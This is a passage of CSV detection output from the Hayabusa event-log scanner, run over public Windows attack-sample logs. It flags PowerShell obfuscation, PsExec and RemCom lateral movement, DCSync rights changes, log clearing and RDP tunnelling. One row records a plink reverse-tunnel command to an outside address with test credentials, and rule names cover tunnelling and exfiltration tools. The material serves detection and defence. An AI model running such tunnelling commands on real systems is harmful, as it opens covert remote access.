PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_malicious_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/powershell/powershell_script/powershell_suspicious_invocation_specific_in_scripblocktext.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:31:57.382 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Malicious PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_malicious_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Malicious PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/powershell/powershell_script/powershell_suspicious_invocation_specific_in_scripblocktext.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 01:41:03.586 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:15:55.243 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:15:55.243 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:15:55.243 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/powershell/powershell_script/powershell_suspicious_invocation_specific_in_scripblocktext.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Malicious PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_malicious_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:17:12.146 +09:00,SEC511,4104,high,Malicious PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 03:18:01.084 +09:00,SEC511,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 04:12:28.360 +09:00,SEC511,4104,high,Accessing WinAPI in PowerShell,,rules/sigma/powershell/powershell_script/powershell_accessing_win_api.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-many.evtx +2017-08-31 04:15:23.660 +09:00,SEC511,4104,high,Accessing WinAPI in PowerShell,,rules/sigma/powershell/powershell_script/powershell_accessing_win_api.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-encoding-menu.evtx +2017-08-31 04:25:48.647 +09:00,SEC511,4104,high,Malicious Nishang PowerShell Commandlets,,rules/sigma/powershell/powershell_script/powershell_nishang_malicious_commandlets.yml,../hayabusa-sample-evtx/DeepBlueCLI/Powershell-Invoke-Obfuscation-string-menu.evtx +2019-01-19 22:00:10.350 +09:00,IEWIN7,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: blabla.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.350 +09:00,IEWIN7,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: blabla.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.540 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,Suspicious PsExec Execution,,rules/sigma/builtin/security/win_susp_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,Suspicious PsExec Execution,,rules/sigma/builtin/security/win_susp_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,Suspicious PsExec Execution,,rules/sigma/builtin/security/win_susp_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-19 22:00:10.711 +09:00,IEWIN7,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_renamed_psexecsvc_5145.evtx +2019-01-20 16:00:50.800 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_bloodhound.evtx +2019-01-20 16:29:57.863 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: Administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_psloggedon.evtx +2019-02-02 18:16:52.479 +09:00,ICORP-DC.internal.corp,4776,informational,NTLM Logon to Local Account,User: helpdesk : Workstation evil.internal.corp : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:22.562 +09:00,ICORP-DC.internal.corp,4776,informational,NTLM Logon to Local Account,User: EXCHANGE$ : Workstation EXCHANGE : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:22.563 +09:00,ICORP-DC.internal.corp,4624,informational,Logon Type 3 - Network,User: EXCHANGE$ : Workstation: EXCHANGE : IP Address: 192.168.111.87 : Port: 58128 : LogonID: 0x24daa6,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:27.629 +09:00,ICORP-DC.internal.corp,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-02 18:17:27.629 +09:00,ICORP-DC.internal.corp,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privexchange_dirkjan.evtx +2019-02-14 00:15:04.175 +09:00,PC02.example.corp,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:15:08.689 +09:00,PC02.example.corp,4624,low,Logon Type 5 - Service,User: sshd_server : Workstation: PC02 : IP Address: - : Port: - : LogonID: 0xe509,rules/hayabusa/default/events/Security/Logons/4624_LogonType-5-Service.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:19:51.259 +09:00,PC02.example.corp,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: PC02 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x21f73 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:26:53.356 +09:00,PC02.example.corp,4624,informational,Logon Type 10 - RDP (Remote Interactive),User: IEUser : Workstation: PC02 : IP Address: 127.0.0.1 : Port: 49164 : LogonID: 0x45120 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-10-RemoteInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:26:53.356 +09:00,PC02.example.corp,4624,high,RDP Login from Localhost,,rules/sigma/builtin/security/win_rdp_localhost_login.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:29:40.657 +09:00,PC02.example.corp,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: PC02 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x4a26d : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:31:19.529 +09:00,PC02.example.corp,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: PC01 : IP Address: 10.0.2.17 : Port: 49168 : LogonID: 0x73d02,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 00:31:31.556 +09:00,PC02.example.corp,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: PC01 : IP Address: 10.0.2.17 : Port: 49169 : LogonID: 0x7d4f4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunneling_4624.evtx +2019-02-14 03:01:41.593 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: admin01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.426 +09:00,PC01.example.corp,4624,informational,Logon Type 11 - CachedInteractive,User: user01 : Workstation: PC01 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1414c8 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-11-CachedInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.426 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: PC01$ : Target User: user01 : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.526 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: PC01$ : Target User: user01 : IP Address: - : Process: C:\Windows\System32\lsass.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:02:04.526 +09:00,PC01.example.corp,4624,informational,Logon Type 7 - Unlock,User: user01 : Workstation: PC01 : IP Address: - : Port: - : LogonID: 0x1414d9,rules/hayabusa/default/events/Security/Logons/4624_LogonType-7-Unlock.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:01.632 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:01.632 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:43.171 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: admin01 : LogonID: 0x14871d,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:45.905 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:45.905 +09:00,PC01.example.corp,5156,high,RDP over Reverse SSH Tunnel WFP,,rules/sigma/builtin/security/win_rdp_reverse_tunnel.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:57.442 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: admin01 : LogonID: 0x148f5d,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4624,informational,Logon Type 10 - RDP (Remote Interactive),User: admin01 : Workstation: PC01 : IP Address: 127.0.0.1 : Port: 49274 : LogonID: 0x14a321 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-10-RemoteInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4648,informational,Explicit Logon,Source User: PC01$ : Target User: admin01 : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4624,high,RDP Login from Localhost,,rules/sigma/builtin/security/win_rdp_localhost_login.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4624,low,Admin User Remote Logon,,rules/sigma/builtin/security/win_admin_rdp_login.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-14 03:04:58.363 +09:00,PC01.example.corp,4672,informational,Admin Logon,User: admin01 : LogonID: 0x14a321,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_RDP_Tunnel_5156.evtx +2019-02-16 19:02:21.934 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: plink.exe 10.0.2.18 -P 80 -C -R 127.0.0.3:4444:127.0.0.2:3389 -l test -pw test : Path: C:\Users\IEUser\Desktop\plink.exe : User: PC01\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:02:21.934 +09:00,PC01.example.corp,1,high,Suspicious Plink Remote Forwarding,,rules/sigma/process_creation/sysmon_susp_plink_remote_forward.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:02:21.934 +09:00,PC01.example.corp,1,medium,Exfiltration and Tunneling Tools Execution,,rules/sigma/process_creation/win_exfiltration_and_tunneling_tools_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:02:48.502 +09:00,PC01.example.corp,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:03:48.058 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: PC01\IEUser : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.141 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.151 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.221 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.351 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.892 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.892 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:04.962 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:05.092 +09:00,PC01.example.corp,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:05.283 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:04:05.563 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\TSTheme.exe -Embedding : Path: C:\Windows\System32\TSTheme.exe : User: PC01\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:05:26.499 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: PC01\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-16 19:06:38.843 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/DE_sysmon-3-rdp-tun.evtx +2019-02-17 02:54:26.956 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:54:26.956 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:55:47.181 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:55:47.181 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:57:41.475 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 02:57:41.475 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: System32\RemComSvc.exe : IP Address: 10.0.2.16,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_REMCOM_5145_TargetHost.evtx +2019-02-17 03:19:18.442 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: IEUser : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\System32\RemComSvc.exe : IP Address: ::1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral 